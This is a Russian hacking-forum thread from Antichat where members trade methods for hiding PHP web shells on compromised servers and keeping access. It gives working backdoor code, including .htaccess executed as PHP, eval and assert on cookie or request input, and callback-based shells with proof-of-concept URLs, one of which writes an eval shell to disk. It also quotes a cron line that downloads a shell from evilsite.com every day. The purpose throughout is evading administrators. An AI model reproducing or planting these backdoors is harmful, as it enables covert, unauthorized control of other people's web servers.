Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Лучшие способы спрятать php шелл! (https://forum.antichat.xyz/showthread.php?t=298338)

Cesto 14.10.2011 11:54

Собираю коллекцию способов, как спрятать шелл

1) Спрятать в .htaccess

# Override default deny rule to make .htaccess file accessible over web

Order allow,deny

Allow from all

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted

# the apache directoves from the .htaccess file

AddType application/x-httpd-php .htaccess

###### SHELL ###### &1"); ?>###### LLEHS ######

domain/path/.htaccess?c=command

2) Аппенд ко всем скриптам php_value auto_append_file "/tmp/httpconf.tmp"

3) Спрятать в гиф

.htaccess

AddType application/x-httpd-php gif

4) Записать шелл в базу данных, в неприметную новость

Какие еще хорошие способы спрятать шелл, чтобы долго удержаться в системе?

d1v 14.10.2011 12:05

echo `$_REQUEST[shell]`;

aydin-ka 15.10.2011 21:11

1. Для начала разберем структуру команды crontab. Таблица crontab состоит из 6 колонок, разделяемых пробелами или табуляторами. Первые пять колонок задают время выполнения (Минута, Час, День, Месяц, День недели), в них может находиться число, список чисел, разделенных запятыми, диапазон чисел, разделенных тире, или символ ‘*’.

Все остальные символы в строке интерпретируются как выполняемая команда с ее параметрами.

2. Вероятно, на сервере нет поддержки псевдотерминала, поэтому создадим временный файл /tmp/cmd со следующим содержимым:

SHELL=/bin/bash 1 0 * * * wget http://evilsite.com/shell.txt -O /home/user/www/shell.php

3. Запускаем команду crontab /tmp/cmd.

4. Радуемся, ведь теперь в директории /var/spool/cron (может меняться в зависимости от системы) будет создан файл с именем пользователя, который будет каждый день, в 00 часов 01 минуту запускать команду wget, для скачивания нашего шелла.

мини-статья из журнала ][акер декабрь 2009 года.

Proktolog 15.10.2011 23:01

Цитата:

Сообщение от Cesto
Cesto said:
4) Записать шелл в базу данных, в неприметную новость

Вот об этом нельзя ли поподробней, плиз? Чаще всего в этом случае пхп код просто выводится на экран.

Expl0ited 16.10.2011 00:29

Цитата:

Сообщение от Proktolog
Proktolog said:
Вот об этом нельзя ли поподробней, плиз? Чаще всего в этом случае пхп код просто выводится на экран.

Для того что бы php код не выводился, а выполнялся, нужно использовать callback функции.

Mail2k 25.10.2011 12:21

Цитата:

Сообщение от Expl0ited
Expl0ited said:
Для того что бы php код не выводился, а выполнялся, нужно использовать
callback функции
.

Если не трудно,можно пример,как это выглядеть должно?

Expl0ited 25.10.2011 14:21

Цитата:

Сообщение от Mail2k
Mail2k said:
Если не трудно,можно пример,как это выглядеть должно?

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR

В колонке `pass` - phpinfo(); в колонке `user` - assert, вот структура базы, для теста:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]CREATE TABLE[/COLOR][COLOR="#007700"]IF[/COLOR][COLOR="#0000BB"]NOT EXISTS[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]users[/COLOR][COLOR="#007700"]` (

`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]int[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL AUTO_INCREMENT[/COLOR][COLOR="#007700"],

`[/COLOR][COLOR="#DD0000"]user[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]varchar[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]255[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL[/COLOR][COLOR="#007700"],

`[/COLOR][COLOR="#DD0000"]pass[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]varchar[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]255[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]PRIMARY KEY[/COLOR][COLOR="#007700"](`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]`)

)[/
COLOR][COLOR="#0000BB"]ENGINE[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]MyISAM[/COLOR][COLOR="#007700"]DEFAULT[/COLOR][COLOR="#0000BB"]CHARSET[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]utf8 AUTO_INCREMENT[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]INSERT INTO[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]users[/COLOR][COLOR="#007700"]` (`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]`, `[/COLOR][COLOR="#DD0000"]user[/COLOR][COLOR="#007700"]`, `[/COLOR][COLOR="#DD0000"]pass[/COLOR][COLOR="#007700"]`)[/COLOR][COLOR="#0000BB"]VALUES

[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'assert'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'phpinfo();'[/COLOR][COLOR="#007700"]);

[/
COLOR][/COLOR

Т.е. логика у скрипта такая, если в _REQUEST['userlogin'] передаются данные, то скрипт обращается к базе и запрашивает из таблицы users две колонки user и pass у записи где id равен 1, и эти данные попадают в функцию array_filter которая возвращает данные отфильтрованные в соответствии с результатом функции обратного вызова, в качестве такой функции мы используем assert, которая может обработать строку как PHP код, в качестве этой строки у нас phpinfo(); что собственно и работает нам на руку.

Mail2k 25.10.2011 14:53

Цитата:

Сообщение от Expl0ited
Expl0ited said:
PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR

В колонке `pass` - phpinfo(); в колонке `user` - assert, вот структура базы, для теста:
PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]CREATE TABLE[/COLOR][COLOR="#007700"]IF[/COLOR][COLOR="#0000BB"]NOT EXISTS[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]users[/COLOR][COLOR="#007700"]` (

`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]int[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL AUTO_INCREMENT[/COLOR][COLOR="#007700"],

`[/COLOR][COLOR="#DD0000"]user[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]varchar[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]255[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL[/COLOR][COLOR="#007700"],

`[/COLOR][COLOR="#DD0000"]pass[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]varchar[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]255[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#0000BB"]PRIMARY KEY[/COLOR][COLOR="#007700"](`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]`)

)[/
COLOR][COLOR="#0000BB"]ENGINE[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]MyISAM[/COLOR][COLOR="#007700"]DEFAULT[/COLOR][COLOR="#0000BB"]CHARSET[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]utf8 AUTO_INCREMENT[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]INSERT INTO[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]users[/COLOR][COLOR="#007700"]` (`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]`, `[/COLOR][COLOR="#DD0000"]user[/COLOR][COLOR="#007700"]`, `[/COLOR][COLOR="#DD0000"]pass[/COLOR][COLOR="#007700"]`)[/COLOR][COLOR="#0000BB"]VALUES

[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'assert'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'phpinfo();'[/COLOR][COLOR="#007700"]);

[/
COLOR][/COLOR

Т.е. логика у скрипта такая, если в _REQUEST['userlogin'] передаются данные, то скрипт обращается к базе и запрашивает из таблицы users две колонки user и pass у записи где id равен 1, и эти данные попадают в функцию array_filter которая возвращает данные отфильтрованные в соответствии с результатом
функции обратного вызова
, в качестве такой функции мы используем assert, которая может обработать строку как PHP код, в качестве этой строки у нас phpinfo(); что собственно и работает нам на руку.

если я правильно понял,то при данной схеме вместо какой-то определенной страницы на сайте будет загружаться вебшелл? Верно?

А можно ли к примеру сделать таким образом,чтобы при запросе опредленной страницы вебшел из базы записывался в какую-нибудь папку? И записывался бы только в случае,его отсутствия в этой папке.

Expl0ited 25.10.2011 14:56

Конечно можно. Пищу для размышлений и пример реализации я тебе дал.

Boolean 30.10.2011 02:27

А как вам такой вариант незаметного шелла?

Не каждый может заметить такой шелл.

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]preg_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/(.*)/e'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_REMOTE_ADDR'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]NULL[/COLOR][COLOR="#007700"]);

[/
COLOR][/COLOR

И отправляем пакет, в хеадер добавляем:

Код:

Code:
REMOTE_ADDR: phpinfo();

Единственное, нужно чтобы флаг e был разрешен, по дефолту — разрешен.

b3 01.11.2011 03:22

Цитата:

Сообщение от None
Аппенд ко всем скриптам php_value auto_append_file "/tmp/httpconf.tmp"

Я заметил привычку прятать шеллы и прочие скрипты на сервере в папке /tmp/ Но видимо не все знают что содержимое папки /tmp/ живет до ребута, хоть сервера и редко ребутят, но все же.

m0Hze 01.11.2011 18:16

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_1[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR

s.php?_=eval&_1=phpinfo();

попугай 01.11.2011 19:27

Цитата:

Сообщение от m0Hze
m0Hze said:
PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$_[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_1[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR

s.php?_=eval&_1=phpinfo();

только при register globals on.

Даже если бы rg on был бы, то ничего не вышло бы, т.к. eval не функция, поэтому ее нельзя в переменную заложить, но я понимаю что это просто пример был, можно использовать другие варинаты, например прямая запись в файл.

Cennarios 12.11.2011 17:12

Я бы подходил тоньше в данному вопросу. А именно - использование методик сокрытия доступа , как такового в зависимости от условий каждого конкретного случая. К примеру VPS с одним сайтом, сетевые правила разрешают входящие соединения без явных ограничений ( тупо не перекрываются коннекты на 33, 404, 31337 etc произвольные открытые несанкционировано порты). В крон вбивается скрипт физически размещаемый вне локаций имеющих отношение к веб сервисам. Каждые 10-15 мин он проверяет наличие активирующей команды на на стороннем сервере ( банально в том же .txt) , если TRUE -> биндится порт - благо если сервисами не забит порт 8080. А далее удаленно выполняется к примеру тот же PHP. Кому-то может показаться чрезмерно массивным и излишне сомнительным. На практике же ,все достаточно просто в реализации. Пользуюсь и , как показывает статистика, доступ к ресурсам живет дольше чем в варианте постояттного физического размещения шела в директории веб-сервера.

vasykas 28.11.2011 10:47

У меня такая задумка:

В любом модуле,плагине вообщем в любой странице

сайта вставляем прозрачный или под цвет сайта

(главное чтоб его не видно было)

на пример 2х2 код iframe и чтобы он находился

где нибудь в углу, и при клике по нему делался

back-connect на любой порт, получаем консоль

чем не полноценный шелл.Так же можно релизовать

проксю заместо кода back-connecta ставим редирект

на другой сайт с таким же iframe и так далее

N'ое количество сайтов.Чем не цепочка прокси.

А для GUI'шников на последнем N'ом сайте можно и WSO

Пусть попробуют проследить.

Cennarios 30.11.2011 14:12

2 vasykas:

Ты наверное не понял сути вопроса данного поста. Речь идет о том, как спрятать выполняемый код от администратора какого-либо ресурса, на котором необходимо разместить веб-шелл. Именно то, как спрятать вызываемый через iframe(как ты предлагаешь) код, именно и обсуждается в данном посте.

Ereee 11.01.2012 07:41

Вот мой способ(можно в иднекс запихнуть например):

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR

Если кто-то сменить пароль/удалить все возвращается на место

UPD. Поправил.

Boolean 11.01.2012 16:16

Цитата:

Сообщение от Ereee
Ereee said:
Вот мой способ(можно в иднекс запихнуть например):
PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR

Если кто-то сменить пароль/удалить все возвращается на место

А ничего что переменная $b - не установлена?

У тебя по сути всегда будет $a!=$b.

Да и потом, переедет сайт на новый сервер, а там allow_url_fopen=Off, вот понавылазиет им варнингов.

Если нато уже пошло, то уж куда лучше @eval($_COOKIE[lol]); оно и не так палится.

Да и вообще никакой логики, файл шелла проверяется обычный shell.php, а заливаешь ты уже куда-то в глубь.

Expl0ited 11.01.2012 16:18

Цитата:

Сообщение от Boolean
Boolean said:
А ничего что переменная $b - не установлена?
У тебя по сути всегда будет $a!=$b.
Да и потом, переедет сайт на новый сервер, а там allow_url_fopen=Off, вот понавылазиет им варнингов.
Если нато уже пошло, то уж куда лучше @eval($_COOKIE[lol]); оно и не так палится.
Да и вообще никакой логики, файл шелла проверяется обычный shell.php, а заливаешь ты уже куда-то в глубь.

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]egrep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]H[/COLOR][COLOR="#DD0000"]"eval\("[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]find . -type f -name "*.php" -print[/COLOR][COLOR="#007700"]`[/COLOR][/COLOR


Ereee 11.01.2012 16:18

2Boolean,

sorry. Там не $b = md5_file($b); а $b = md5_file($fileb);

>У тебя по сути всегда будет $a!=$b.

С чего это вдруг?

2Expl0ited,

+1

Boolean 11.01.2012 17:09

Цитата:

Сообщение от Ereee
Ereee said:
>У тебя по сути всегда будет $a!=$b.
С чего это вдруг?

Потому что $b _не_была_ установлена ранее. Теперь все ок.

Ну не нравится eval, есть куча других возможностей исполнить код.

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]assert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);

[/
COLOR][/COLOR


Expl0ited 11.01.2012 17:11

Цитата:

Сообщение от Boolean
Boolean said:
Потому что $b _не_была_ установлена ранее. Теперь все ок.
Ну не нравится eval, есть куча других возможностей исполнить код.
PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]assert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);

[/
COLOR][/COLOR


PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]egrep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]H[/COLOR][COLOR="#DD0000"]"assert\("[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]find . -type f -name "*.php" -print[/COLOR][COLOR="#007700"]`[/COLOR][/COLOR


Boolean 11.01.2012 17:30

Цитата:

Сообщение от Expl0ited
Expl0ited said:
PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]egrep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]H[/COLOR][COLOR="#DD0000"]"assert\("[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]find . -type f -name "*.php" -print[/COLOR][COLOR="#007700"]`[/COLOR][/COLOR


ололо.

Во-первых assert ищут крайне редко.

Во-вторых, "shell" бы также нашли. =\\

В-третьих это в любом случае лучше чем та втыкалка шелла, что предложил Ereee 5 постов выше.

upd:

а

Код:

Code:
assert      ($_GET['lol'])

уже не найдет. пичалько.

Expl0ited 11.01.2012 17:35

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]egrep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]H[/COLOR][COLOR="#DD0000"]"assert|eval"[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]find . -type f -name "*.php" -print[/COLOR][COLOR="#007700"]`[/COLOR][/COLOR

Хорошо спрятан тот бекдор, который не возможно найти средствами автоматизации.

Ereee 11.01.2012 17:36

1) $_GET lol.

2) egrep -H "assert" `find . -type f -name "*.php" -print` lol.

3) lol

Boolean 16.01.2012 18:30

Эдакий eval на основе «бага» php.

create_function - по своей сути обычный eval.

Сам код:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]uasort[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]);

[/
COLOR][/COLOR

PoC:

Код:

Code:
re_password=phpinfo();&login[]=};eval($_REQUEST['re_password']);//&login[]=$b, $a&password=create_function


Expl0ited 16.01.2012 18:41

Цитата:

Сообщение от Boolean
Boolean said:
Эдакий eval на основе «бага» php.
create_function - по своей сути обычный eval.
Сам код:
PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]uasort[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]);

[/
COLOR][/COLOR

PoC:
Код:

Code:
re_password=phpinfo();&login[]=};eval($_REQUEST['re_password']);//&login[]=$b, $a&password=create_function


это не баг, это обычная callback функция

Boolean 16.01.2012 18:44

Цитата:

Сообщение от Expl0ited
Expl0ited said:
это не баг, это обычная
callback
функция

под багом я понимал не каллбак, а сам баг сreate_function:

https://bugs.php.net/bug.php?id=48231

KolosJey 16.01.2012 22:16

Цитата:

Сообщение от Boolean
Boolean said:
под багом я понимал не каллбак, а сам баг сreate_function:
https://bugs.php.net/bug.php?id=48231

Насчёт "бага" там отличный ответ разработчиков. Лучше пожалуй и не скажешь

Boolean 18.01.2012 11:42

«callback похождения»

Небольшой наборчик функций, которые при обычных условиях не вызывают подозрений.

Все параметры могут быть также вынесены в отдельные переменные, для уменьшения подозрительности.

array_map, array_filter, array_walk

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_map[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]Или

[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_filter[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]Или

[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_walk[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]Кому как[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]что лучше смотрится[/COLOR][COLOR="#007700"].

[/
COLOR][/COLOR

PoC:

Код:

Code:
http://localhost/test.php?login=system&password[]=type+test.php

array_diff_ukey

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_diff_ukey[/COLOR][COLOR="#007700"](@array((string)[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]] =>[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]), @array((string)[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'re_password'[/COLOR][COLOR="#007700"]] =>[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);

[/
COLOR][/COLOR

от callback функции требуется принятие 2 параметров, поэтому необходимо приготовить такую функцию, например file_put_contents.

PoC:

Код:

Code:
http://localhost/test.php?login=file_put_contents&password=shell.php&re_password=%3C?php%20eval%28$_REQUEST[cmd]%29;%20?%3E

В файле shell.php будет «евальник».

Или же PoC[2], опять же "баг" с create_function:

Код:

Code:
http://localhost/test.php?login=create_function&password=$a, $b&re_password=}phpinfo();//

Результатом будет являться выполнение phpinfo();

GTAlex 17.11.2016 06:06

Цитата:

Сообщение от Boolean
Boolean said:

И отправляем пакет, в хеадер добавляем:
Код:

Code:
REMOTE_ADDR: phpinfo();


Дико извиняюсь - но каким образом можно добавить в REMOTE_ADDR: ?

Пробовал курлом через дополнительные параметры заголовка - не передаёт

Код:

Code:
$ipaddress = array(
    "REMOTE_ADDR: phpinfo()"
);       
curl_setopt( $ch, CURLOPT_HTTPHEADER, $ip_address);

На сколько я понимаю сервер эту инфу не из заголовков запроса берёт.


Время: 23:46